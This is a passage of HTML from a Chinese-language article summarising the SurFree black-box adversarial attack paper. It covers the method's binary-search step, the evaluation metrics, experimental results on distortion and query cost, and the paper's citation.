Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">是否为对抗样本，一旦发现对抗样本图片搜索立即停止。否则缩小<img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hOAREwEzDic0OHvfhmfuCQCBnjviaFicAibwicHkJhSsfwMe8icqOZicdTdaEg/0?wx_fmt=png" data-cropx1="0" data-cropx2="165" data-cropy1="0" data-cropy2="108.42857142857143" data-galleryid="" data-ratio="0.6545454545454545" data-s="300,640" style="height: 23px;white-space: normal;text-align: center;width: 35px;" data-type="jpeg" data-w="165" src="https://wechat2rss.xlab.app/img-proxy/?k=ae2c7cae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hHgocvgC14DoLTPVu1HJEnc6JpvWGNrv0cnu4x6HyCl2ibbmlCWBZmIg%2F640%3Fwx_fmt%3Djpeg"/>重新生成一个<img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hibicqWLna3nYgibiaYeibMLsfFlDXtIMuPxBUQGB15lYicIkJBw1pUVwNzuA/0?wx_fmt=png" data-cropx1="0" data-cropx2="88" data-cropy1="0" data-cropy2="100.57142857142858" data-galleryid="" data-ratio="1.1136363636363635" data-s="300,640" style="height: 24px;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;white-space: normal;text-align: center;width: 21px;" data-type="jpeg" data-w="88" src="https://wechat2rss.xlab.app/img-proxy/?k=2521273b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hfTicUxErOhSh8Amicc0j4zicVmrRyq6hpR1kia85tN378FWly3bS6BT8Ow%2F640%3Fwx_fmt%3Djpeg"/></span><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">进行</span><span style="text-indent: 0em;font-size: 15px;box-sizing: border-box;">上述搜索。</span></p><p style="margin-left: 8px;margin-right: 8px;text-indent: 0em;text-align: justify;margin-top: 0.75em;"><strong><span style="font-size: 15px;box-sizing: border-box;">4.二分法搜索：</span></strong><span style="font-size: 15px;box-sizing: border-box;">找到角度以</span><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">及符号</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2823275862068966" data-s="300,640" style="text-align: center;width: 78px;height: 22px;" data-type="png" data-w="464" src="https://wechat2rss.xlab.app/img-proxy/?k=5ae8bc8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hxohp2ibJpbwOBePkG3xlVIkE5fRIDHKDRGNduzfvuV2bTVR8iaE1OOGQ%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;">后，用二分法搜索在</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.18328840970350405" data-s="300,640" style="text-align: center;width: 118px;height: 22px;" data-type="png" data-w="742" src="https://wechat2rss.xlab.app/img-proxy/?k=8815237d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hEXU6vBqTN7yWNRq6mtVZicK4mEJgibt7JRT2SXnSRAJ78zn9OAGom5fQ%2F640%3Fwx_fmt%3Dpng"/><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">细化</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hd6cNfyPlr7fye6ch5c9ic4tI1bz1umbHePibpDwSu3eRNPU9jENvyiavA/0?wx_fmt=png" data-cropx1="18.450000000000003" data-cropx2="123" data-cropy1="0" data-cropy2="141.45000000000002" data-galleryid="" data-ratio="1.361904761904762" data-s="300,640" style="text-align: center;width: 17px;height: 23px;" data-type="jpeg" data-w="105" src="https://wechat2rss.xlab.app/img-proxy/?k=f4e1e85b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hVW4emzMQwHvs7icIeIdmNNz2NrDmviarSEmt7vbicy9QFnCHibT0dQljdw%2F640%3Fwx_fmt%3Djpeg"/><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">步，最后增大</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hOAREwEzDic0OHvfhmfuCQCBnjviaFicAibwicHkJhSsfwMe8icqOZicdTdaEg/0?wx_fmt=png" data-cropx1="0" data-cropx2="165" data-cropy1="0" data-cropy2="108.42857142857143" data-galleryid="" data-ratio="0.6545454545454545" data-s="300,640" style="text-align: center;text-indent: 0em;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;height: 22px;width: 33px;" data-type="jpeg" data-w="165" src="https://wechat2rss.xlab.app/img-proxy/?k=ae2c7cae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hHgocvgC14DoLTPVu1HJEnc6JpvWGNrv0cnu4x6HyCl2ibbmlCWBZmIg%2F640%3Fwx_fmt%3Djpeg"/><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">。</span></p><p style="text-align: center;margin-bottom: 0em;"><span style="text-align: justify;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;"></span></p><h2 cid="n0" mdtype="heading" style="margin: 1rem 8px;font-weight: bold;font-size: 1.75em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;text-indent: 0em;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;visibility: visible;overflow-wrap: break-word !important;">实验结果</span></strong></h2><section style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><strong style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="font-size: 16px;"><span style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">评估指标</span></strong></span></strong></section><section style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">论文中的评估指标是查询的数量，以及受攻击图像的对抗扰动。对抗扰动是用空间</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5957446808510638" data-s="300,640" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 35px;height: 21px;" data-type="png" data-w="188" src="https://wechat2rss.xlab.app/img-proxy/?k=77faff00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hd6cwlbeYRXy9QriblVkCXpX5tbFfuGrrzBMONdtebv28e9DvlLuSI6A%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">上的范数来进行测量的（用像素的数量乘以颜色通道的数量）。</span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">对于给定的</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0661764705882353" data-s="300,640" style="text-align: center;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;height: 21px;width: 20px;" data-type="png" data-w="136" src="https://wechat2rss.xlab.app/img-proxy/?k=c1d96fbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hpfHQSHWVJZFRXktzfyKsYGicFmD10AnA43Kib62F6SicQZKaib5ibxToY5Q%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">，它是在查询序列上获得的最小扰动，具体表达式为：</span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;"></span></section><section style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1545253863134658" data-s="300,640" style="width: 353px;height: 55px;" data-type="png" data-w="453" src="https://wechat2rss.xlab.app/img-proxy/?k=9936fe53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3h9VRIVKDukvGI87ZbAkT925oF79smk028kXGOicqbh6bVZsGG4RSOXXw%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">N张原始图像上的平均值给出了攻击效率的特征，揭示了其找到接近原始图像的对抗样本的能力，具体的表达式为：</span></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.34701492537313433" data-s="300,640" style="width: 160px;height: 56px;" data-type="png" data-w="268" src="https://wechat2rss.xlab.app/img-proxy/?k=26e9e81d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hhWibZ6lgwrjl7xqzUBTlO9wrp8M4VpFX5yVqsia7O8W5ScCbg8P8coVQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">作者将成功率定义为在查询预算内获得低于目标数据的失真概率，具体的表达式为：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.19839142091152814" data-s="300,640" style="width: 262px;height: 52px;" data-type="png" data-w="373" src="https://wechat2rss.xlab.app/img-proxy/?k=2e91e5ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hicMu88Kd3BNZ411Y3ejgKzJ5EoB7K2R8dvd6uOVpBfzlnMv7VwwByzQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><strong style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="font-size: 16px;"><span style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">实验分析</span></strong></span></strong><br/></section><section style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">本论文中的攻击方向的产生是高度随机的，这可能会产生不稳定的结果，产生分散扰动的对抗图像。下面两幅图分别展示了100幅图像的平均失真情况和一幅图像被攻击20次的标准偏差。这两幅图展示了一次迭代在查询数量方面的复杂性与失真率下降的增益之间的权衡，并且可以发现，SurFree攻击算法很好地权衡了平均失真和标准偏差这两方面。</span></section><section style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6143790849673203" data-s="300,640" style="width: 444px;height: 273px;" data-type="png" data-w="612" src="https://wechat2rss.xlab.app/img-proxy/?k=a8efba22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hJ5mq61x190kBGibPw8wSic4qia3Hlr7qu20H7gTWT7Q9mBkvhLThqa49g%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;letter-spacing: 0.544px;text-align: center;background-color: rgb(255, 255, 255);">图四</span></section><section style="text-align: center;margin-bottom: 0em;margin-left: 0px;margin-right: 0px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6311475409836066" data-s="300,640" style="width: 427px;height: 270px;" data-type="png" data-w="610" src="https://wechat2rss.xlab.app/img-proxy/?k=3e4bda70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3h0PiadAjXnZcb2FPCqU9X08v4hGwnacgZd6aXuPkUnHCmxKYS6icxtHnw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-bottom: 0em;margin-left: 0px;margin-right: 0px;"><span style="color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;letter-spacing: 0.544px;text-align: center;background-color: rgb(255, 255, 255);">图五</span></section><p><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">如下表所示，在最初的一千个查询中，全像素域的失真更大。对于相同的查询代价，将扰动约束在用全离散余弦变换定义的较小低频子空间中是更加有益的</span><span style="color: rgb(40, 52, 68);font-size: 18px;font-family: 宋体;">。</span></p><section style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6053067993366501" data-s="300,640" style="width: 414px;height: 251px;" data-type="png" data-w="603" src="https://wechat2rss.xlab.app/img-proxy/?k=4404c9d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hz6HS31vrHB45u0ZzKTrNKY7YmEafYVR36FwUvOsYuGmDjFZEKS160Q%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;letter-spacing: 0.544px;text-align: center;background-color: rgb(255, 255, 255);">图六</span></section><p style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">下表显示了三个被攻击图像的视觉展示，这三个被攻击图像分别是容易攻击、中等攻击和难以攻击。虽然这三种攻击对图像的影响不同，可以很明显的发现SurFree攻击生成的对抗样本非常有针对性，并且生成的对抗扰动不是漫无目的。</span></p><section style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.408" data-s="300,640" style="width: 495px;height: 202px;" data-type="png" data-w="1250" src="https://wechat2rss.xlab.app/img-proxy/?k=119f9a90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hKXReFRaKfjnxxRvdBdYRmfWSmAqPyHdfxPkOr0LL4XLoNbO5WR18YQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;letter-spacing: 0.544px;text-align: center;background-color: rgb(255, 255, 255);">图七</span></section><section style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;letter-spacing: 0.544px;text-align: center;background-color: rgb(255, 255, 255);"><br/></span></section><p style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;font-size: 14px;">参考文献：</span></p><p style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;font-size: 14px;">Maho T, Furon T, Le Merrer E. SurFree: a fast surrogate-free black-box attack[C]//Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition. 2021: 10430-10439.</span></p><p style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.544px;">注：</span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.544px;">本文图片图一至图七均来源于以上论文</span></p><p style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><br/></p><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;white-space: normal;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" data-type="png" data-w="12" 